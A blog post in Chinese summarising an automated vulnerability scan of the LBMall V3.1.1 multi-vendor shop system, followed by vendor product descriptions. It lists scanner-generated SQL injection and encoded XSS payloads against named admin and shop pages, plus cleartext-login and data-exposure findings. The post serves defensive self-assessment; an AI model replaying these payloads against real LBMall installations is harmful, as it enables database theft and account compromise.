paip. lbmall V3.1.1 乐彼多用户商城系统的安全漏洞总结

本文总结了乐彼多用户商城系统LBMALLV3.1.1的安全漏洞扫描结果,共发现32条高危漏洞,包括7个SQL注入漏洞、7个XSS跨站点脚本漏洞及多个敏感信息泄露等问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

paip. lbmall V3.1.1  乐彼多用户商城系统的安全漏洞总结

作者Attilax , 1466519819@qq.com
因为我的网站中账户模块是用LBMALL V3.1.1实现的..今天特意扫描了下它的安全漏洞,用的是HPWI9。。

结果发现了 32条高危漏洞

SQL注入(7个漏洞):
---------------------

Critical SQL 盲注(已确认) GET http://localhost/News/List.aspx (Query) tid=0&title=12345'%09OR%09(select%09Ascii(substring(db_name(dbid)%2c2%2c1))%09from%09master..sysprocesses%09where%09spid%3d%40%40SPID)%3c128%09OR%09'4'%3d'0
Critical SQL 注入(已确认)  POST http://localhost/admin/Commodity_Search.aspx (Post) __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2fwEPDwUJODQ5NzM2MDQ2ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WBQUGSW1hZ2UxBQZJbWFnZTIFAnNqBQJ4agUGaW1nU3ViZ1vxx%2fp87cadH9Rzk8yLbdWuDOI%3d&hidsort=&Ima...
Critical SQL 注入(已确认)  POST http://localhost/admin/Commodity_Search.aspx (Post) __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2fwEPDwUJODQ5NzM2MDQ2ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WBQUGSW1hZ2UxBQZJbWFnZTIFAnNqBQJ4agUGaW1nU3ViZ1vxx%2fp87cadH9Rzk8yLbdWuDOI%3d&hidsort=&Ima...
Critical SQL 注入(已确认)  POST http://localhost/admin/Commodity_Search.aspx (Post) __EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2fwEPDwUJODQ5NzM2MDQ2ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WBQUGSW1hZ2UxBQZJbWFnZTIFAnNqBQJ4agUGaW1nU3ViZ1vxx%2fp87cadH9Rzk8yLbdWuDOI%3d&hidsort=&Ima...
Critical SQL 注入(已确认)  GET http://localhost/ShopType.aspx (Query) keyword=12345&bprice=12345&eprice=12345%09and%09(select%09count(*)%09from%09spitable)%09%3d%091%09or%091%3d0%09&typeid=&id=1
Critical SQL 注入(已确认)  GET http://localhost/ShopType.aspx (Query) keyword=12345'%09and%09(select%09count(*)%09from%09spitable)%3d1%09or%09'1'%3d'0%09&bprice=12345&eprice=12345&typeid=&id=1
Critical SQL 注入(已确认)  GET http://localhost/ShopType.aspx (Query) typeid=0%09and%09(select%09count(*)%09from%09spitable)%09%3d%091%09or%091%3d0%09&id=1

 

XSS 跨站点脚本(7个漏洞):
---------------------
Critical 跨站点脚本 POST http://localhost/admin/AdminMessage_List.aspx (Post) __VIEWSTATE=%2fwEPDwUJNDg2ODAwMjM5ZGS1Pa6AspCR%2fQg9Erqa8s1q0Oltlw%3d%3d&hid_checkbox=&hid_page=&hid_type=&dateFrom=12345%27%3b%61%6c%65%72%74%28%38%31%36%33%33%29%2f%2f&dateTo=12345&txtSelectInfo=12345...
Critical 跨站点脚本 POST http://localhost/admin/AdminMessage_List.aspx (Post) __VIEWSTATE=%2fwEPDwUJNDg2ODAwMjM5ZGS1Pa6AspCR%2fQg9Erqa8s1q0Oltlw%3d%3d&hid_checkbox=&hid_page=&hid_type=&dateFrom=12345&dateTo=12345%27%3b%61%6c%65%72%74%28%38%31%36%33%33%29%2f%2f&txtSelectInfo=12345...
Critical 跨站点脚本 POST http://localhost/admin/ArticleList.aspx (Post) __VIEWSTATE=%2fwEPDwUKMjA4NDU3NjA4MmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgMFA3RvcAUDcmVjBQNhcmfKFhJq8tBYTQ8jjy%2fg1kILXENtCQ%3d%3d&hid_i=1%2c&top=&rec=&arg=&check_=1&hidden_id0=1&txt_title0=titttttt...
Critical 跨站点脚本 POST http://localhost/admin/ArticleList.aspx (Post) __VIEWSTATE=%2fwEPDwUKMjA4NDU3NjA4MmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgMFA3RvcAUDcmVjBQNhcmfKFhJq8tBYTQ8jjy%2fg1kILXENtCQ%3d%3d&hid_i=&rec=on&arg=on&check_=1&hidden_id0=1&txt_title0=Shipping%20Cl...
Critical 跨站点脚本 POST http://localhost/admin/ArticleList.aspx (Post) __VIEWSTATE=%2fwEPDwUKMjA4NDU3NjA4MmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgMFA3RvcAUDcmVjBQNhcmfKFhJq8tBYTQ8jjy%2fg1kILXENtCQ%3d%3d&hid_i=&top=on&arg=on&check_=1&hidden_id0=1&txt_title0=Shipping%20Cl...
Critical 跨站点脚本 POST http://localhost/admin/ArticleList.aspx (Post) __VIEWSTATE=%2fwEPDwUKMjA4NDU3NjA4MmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgMFA3RvcAUDcmVjBQNhcmfKFhJq8tBYTQ8jjy%2fg1kILXENtCQ%3d%3d&hid_i=&top=on&arg=on&check_=1&hidden_id0=1&txt_title0=Shipping%20Cl...
Critical 跨站点脚本 POST http://localhost/admin/Title.aspx (Post Multi-Part)
Critical 跨站点脚本 POST http://localhost/admin/Unitlist.aspx (Post) __VIEWSTATE=%2fwEPDwUKLTExMzA4MTUxMGRkrMCxSnaxmtwOAd2E5tGfX79hryg%3d&hidden_id0=1&txt_name0=?&hidden_id1=2&txt_name1=?&hidden_id2=3&txt_name2=?&hidden_id3=4&txt_name3=?&hidden_id4=5&txt_name4=?&hidden_id5=6&txt_...
Critical 跨站点脚本 POST http://localhost/admin/Unitlist.aspx (Post) __VIEWSTATE=%2fwEPDwUKLTExMzA4MTUxMGRkrMCxSnaxmtwOAd2E5tGfX79hryg%3d&hidden_id0=1&txt_name0=?&hidden_id1=2&txt_name1=?&hidden_id2=3&txt_name2=?&hidden_id3=4&txt_name3=?%22%20%73%54%79%4c%65%3d%58%3a%65%58%2f%2a%...
Critical 跨站点脚本 POST http://localhost/admin/Unitlist.aspx (Post) __VIEWSTATE=%2fwEPDwUKLTExMzA4MTUxMGRkrMCxSnaxmtwOAd2E5tGfX79hryg%3d&hidden_id0=1&txt_name0=%22%20%73%54%79%4c%65%3d%58%3a%65%58%2f%2a%2a%2f%70%52%65%53%73%49%6f%4e%28%61%6c%65%72%74%28%36%34%31%33%34%29%29%20%2...
Critical 跨站点脚本 POST http://localhost/admin/Unitlist.aspx (Post) __VIEWSTATE=%2fwEPDwUKLTExMzA4MTUxMGRkrMCxSnaxmtwOAd2E5tGfX79hryg%3d&hidden_id0=1&txt_name0=?&hidden_id1=2&txt_name1=?&hidden_id2=3&txt_name2=?&hidden_id3=4&txt_name3=?&hidden_id4=5&txt_name4=?&hidden_id5=6&txt_...
Critical 跨站点脚本 POST http://localhost/admin/Unitlist.aspx (Post) __VIEWSTATE=%2fwEPDwUKLTExMzA4MTUxMGRkrMCxSnaxmtwOAd2E5tGfX79hryg%3d&hidden_id0=1&txt_name0=?&hidden_id1=2&txt_name1=?&hidden_id2=3&txt_name2=?&hidden_id3=4&txt_name3=?&hidden_id4=5&txt_name4=?&hidden_id5=6&txt_...
Critical 跨站点脚本(用户交互)  POST http://localhost/admin/Title.aspx (Post Multi-Part)
Critical 跨站点脚本(用户交互)  POST http://localhost/admin/Title.aspx (Post Multi-Part)
Critical 跨站点脚本(用户交互)  POST http://localhost/admin/Unitlist.aspx (Post) __VIEWSTATE=%2fwEPDwUKLTExMzA4MTUxMGRkrMCxSnaxmtwOAd2E5tGfX79hryg%3d&hidden_id0=1&txt_name0=?&hidden_id1=2&txt_name1=?&hidden_id2=3&txt_name2=?%22%20%6f%4e%66%4f%63%55%73%3d%61%6c%65%72%74%28%37%33%35%31%33%29%2...
Critical 跨站点脚本(用户交互)  POST http://localhost/admin/Unitlist.aspx (Post) __VIEWSTATE=%2fwEPDwUKLTExMzA4MTUxMGRkrMCxSnaxmtwOAd2E5tGfX79hryg%3d&hidden_id0=1&txt_name0=?&hidden_id1=2&txt_name1=?%22%20%6f%4e%66%4f%63%55%73%3d%4d%73%67%42%6f%78%28%35%36%31%32%36%29%20%22&hidden_id2=3&txt_...


明文传输密码漏洞以及登录窗体敏感漏洞(5条)
--------------------------------------------------
High 通过未加密的连接发送登录信息  GET http://localhost/admin/Login.aspx
High 通过未加密的连接发送登录信息  GET http://localhost/Login.aspx (Query) uu=user/Default.aspx
High 通过未加密的连接发送登录信息  GET http://localhost/Login.aspx
High 未加密的登录窗体  GET http://localhost/admin/Login.aspx
High 未加密的登录窗体  GET http://localhost/Login.aspx (Query) uu=user/Default.aspx


敏感信息泄露URL/COOKIE/POST (13条)
---------------------------------
Medium Query 或 Cookie 中存在用户数据 GET http://localhost/admin/Accounta.aspx (Query) uid=20&page=1
Medium Query 或 Cookie 中存在用户数据 GET http://localhost/admin/Accounta.aspx (Query) uid=
Medium Query 或 Cookie 中存在用户数据 GET http://localhost/admin/AccountLog.aspx (Query) auname=asfda
Medium Query 或 Cookie 中存在用户数据 GET http://localhost/admin/AccountLog.aspx (Query) stime=12345&etime=12345&unames=12345&page=1
Medium Query 或 Cookie 中存在用户数据 POST http://localhost/admin/AccountLog.aspx (Query) auname=asfda (Post) __VIEWSTATE=%2fwEPDwUKMTE4MzA5MTAwN2Rk98WeigzHhrAdKMe3%2bv8Gy9tXMtw%3d&txt_starttime=12345&txt_endtime=12345&txt_username=12345&Submit.x=5&Submit.y=5&=26&=25&=24&=23&=22&=21&=20&=19&=18&=1...
Medium Query 或 Cookie 中存在用户数据 POST http://localhost/admin/AccountLog.aspx (Query) auname=asfda (Post) __VIEWSTATE=%2fwEPDwUKMTE4MzA5MTAwN2Rk98WeigzHhrAdKMe3%2bv8Gy9tXMtw%3d&txt_starttime=12345&txt_endtime=12345&txt_username=12345&Submit.x=5&Submit.y=5&=25&=24&=23&=22&=21&=20&=19&=18&=17&=1...
Medium Query 或 Cookie 中存在用户数据 GET http://localhost/admin/AccountLog.aspx (Query) auname=asfda&page=2
Medium Query 或 Cookie 中存在用户数据 GET http://localhost/admin/Userlist.aspx (Query) usernames=12345&letime=12345&letime2=12345
Medium Query 或 Cookie 中存在用户数据 GET http://localhost/admin/Userlist.aspx (Query) usernames=
Medium Query 或 Cookie 中存在用户数据 POST http://localhost/admin/Userlist.aspx (Query) usernames= (Post) __VIEWSTATE=%2fwEPDwUKLTc1MDEzNTU0N2Rki2tGFykf2v4TZF1Ik3esdjZtfhY%3d&txt_starttime=12345&txt_endtime=12345&txt_search=12345
Medium Query 或 Cookie 中存在用户数据 GET http://localhost/Login.aspx (Query) uu=user/Default.aspx
Medium Query 或 Cookie 中存在用户数据 GET http://localhost/Login.aspx
Low “Admin”目录  GET http://localhost/admin/
 

 

 

彼繁体中文网店系统(56770 EShop) 是一款基于Web浏览器和客户端技术的网上开店软件,它把浏览器、客户端和服务器这三种技术无缝结合为一体,界面灵活,功能强大,后台更是和服务器一样稳定、安全、可靠。   采用UTF-8国际编码编写,操作流程采用国际标准设计,完美支持世界上任何国家语言,并根据用户所选语种实时切换,为企业进军国际市场提供强有力的支持。   SEO优化理念:彼具有多年的搜索引擎优化经验,并将搜索引擎优化理念率先引入到软件设计当中,用户只需要通过在后台进行相关优化设置即可轻松实现在各大搜索引擎的排名靠前。看得见的SEO优化动作:静态页生成(HTML)、伪静态(URL Rewrite)、自定义网页页头(网页标题、关键词、描述)、自定义文件夹名称、自定义商品静态页面名称。   网上展厅 商家通过后台将经营的商品发布到前台,顾客通过浏览网站可以通过商品类别及商品检索快速准确的找到自己感兴趣的商品,了解商品的信息及价格。店铺内常用的店长推荐商品及、最新上架商品及打折促销商品可以更好的通过网上商店的推荐商品展示区、新品上架展示区以及打折促销商品展示区展示给顾客。 多种商品展示效果:图文模式、图片模式、文字模式   商品订购 顾客将中意的商品通过鼠标点击购买按钮将商品加入到临时购物车中,用户可选择继续购买其他商品或去收银台结帐。进入收银台,用户将自己的信息填写好后提交商品购买订单,并可进行线上付款操作(线上付款支持支付宝(即时到帐和担保支付交易)、网银(即时到帐交易)、快钱(即时到帐交易)、财付通(即时到帐和担保支付交易)、PAYPAL(即时到帐交易)),此次商品订购即完成。   动态发布 商家可通过后台发布最新的资讯信息或促销信息,顾客只需要浏览网站即可获取到商家最新信息。   积分兑换 顾客可自行在网站上使用购物消费所累积的会员积分兑换自己喜欢的礼品,此功能可有效增加顾客对商家的黏度及好感度。   订单处理 商家可以在后台查看每天的顾客订单并作出及时有效的订单处理,订单处理后顾客会接收到来自网上商店的关于订单信息的电子邮件,方便顾客关注网上店铺的订单。若商品售出,此商品的库存数量也将随之改变。   业绩分析 商家可以在后台查看每天的网上商店销售业绩,以便商家了解网上商家的经营状况,随时对网上商店的经营进行监管。   顾客管理 商家可以在后台查看在网上商店登记注册的顾客姓名、联系方式等信息,以及顾客在网上商店的消费信息及商品订单信息。商家可以通过站内信箱功能与顾客进行联系。 商家可以在后台根据自身需要添加或编辑会员等级,如铜牌会员、银牌会员、金牌会员,并可在商品管理中为每个商品设置不成的会员价格,如铜牌价 ¥8.50、银牌价¥7.50、金牌价¥6.50。   信息管理 商家可以在后台设置新闻、帮助的信息类别及对信息进行添加、编辑和删除的一系列操作。 商家亦可以在此发布商品销售专题,在发布行业资讯的同时,选择相关的商品一同组成商品专题,使顾客在阅读行业资讯的同时,购买相关的商品,增加商品的展示机会,提升网上商店的销售业绩。   商品管理 商家可以在后台添加商品,并可为商品设置不同的属性,如新品、推荐商品、促销商品等,每个商品可以上传多张不同角度的展示图片,可以归属于任意多的商品类别,可以根据需要选择相关的附属选项。灵活的商品管理功能可以使商家的管理游刃有余,批量的操作更为商家的管理节省了大量的时间和精力。   模板管理 系统采用三层模板架构,商家可以在后台对网上商店的界面风格及信息展示样式进行更改,简单且容易上手的HTML语言,让网上商店的个性化发挥得淋漓尽致。   系统管理 商家可以在后台对网上商店的基本信息、会员注册协议、配送方式、支付方式等几十项的管理信息进行管理。   网站发布 商家可以在后台将自己的网上商店发布为静态版的网上商店,将前台主体页面生成为HTML静态网页,可以加速网上商店浏览速度,提升网上商店形象;同时可以大大增加搜索引擎对网上商店内容的收录比率,为商家节省大量推广资金。   彼繁体中文网店系统V14.0.0 to V14.1.0 升级说明 [修正]支付接口支付错误 [修正]升级宝付支付接口 [修正]会员充值不能写入日志       相关阅读 同类推荐:网店系统源码
多用户商城系统,采用ASP.NET分层技术和AJAX技术,运营于高速稳定的微软.NET MSSQL 2005平台;完全具备搭建超大型网络购物多用户网上商城的整体技术框架和应用层次LBMall 秉承彼软件优秀品质,后台人性化设计,管理窗口识别客户端分辨率自动调整,独立配置的菜单操作锁,使管理操作简单便捷。 待办事项 1、新订单、支付、付款、短信提醒 2、每5分钟自动读取 3、新事项声音提醒 店铺管理 1、店铺管理(过期,关闭,放入回收站) 2、店铺回收站管理、防止店铺误删 3、自定义店铺类型(金额、有效期、商品数、推荐位) 4、店铺提现额度的限制和管理 5、店铺提现管理 6、店铺提现申请管理 7、店铺开通审批管理 8、店铺二级域名绑定 商品管理 1、根据商品名称、类别、品牌、店铺、状态、上架日期、销量、浏览次数多项条件查询 2、总后台添加商品 3、商品上下架管理 4、商品到期自动下架 5、商品推荐位管理 6、商品类别管理(支持无限级) 7、自定义首页类别显示 8、商城品牌管理 9、商品单位管理 订单管理 1、按订单状态、编号、备注等多种方式查询订单 2、按店铺名称查询 3、锁定查询范围,快速查询 4、会员信息查询订单 5、订单导出word、导出excel 6、订单状态及基本信息管理 7、订单备注管理(支持不同备注图标) 8、订单金额调整 9、订单操作日志查看 10、订单详细信息查看 11、订单添加商品及商品金额管理 12、订单打印 会员管理 1、会员查询,根据用户信息查询用户 2、商城会员管理 3、会员订单浏览 4、会员留言管理 5、充值金额管理 6、充值日志管理 7、店主实名认证管理 站内留言 1、站内短信发送(支持群发) 2、站内短信管理,首创垃圾箱功能,防止信息误删 3、站内短信统计 权限管理 1、管理员添加 2、超级管理员设置其他管理员权限使之进行不同的操作 3、管理员操作有日志统计以及对日志删除 帮助中心 1、帮助类别管理 2、帮助信息管理 文章中心 1、文章类别管理 2、文章审批管理 3、店铺评论管理 4、店铺交流区帖子管理 邮件营销 1、自定义邮件模板(支持HTML代码自定义) 2、邮件群发管理,支持站内邮件群发 3、支持会员注册邮件 4、支持订单状态邮件跟踪(同时发给用户及店主) 综合管理 1商城基本信息配置 2、商城在线支付接口管理 3商城友情连接的管理 4、自定义标签广告 5、首页滚动广告设置 6、商城导航菜单设置 7、商品图片水印设置(支持虚拟水印和实体水印) 8、商城搜索关键词设置 系统管理 1、程序授权及授权文件备份 2、sql命令执行(简单操作数据库) 3、IP地址锁定功能 4、上传文件管理 5、数据库在线备份 6、数据库日志在线清空 WEB扩展 1、集成cnzz统计、一键开通 2、生成Google、百度站点地图 v3.1.0更换了后台所有样式风格及一些软件bug,使后台更方便管理。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值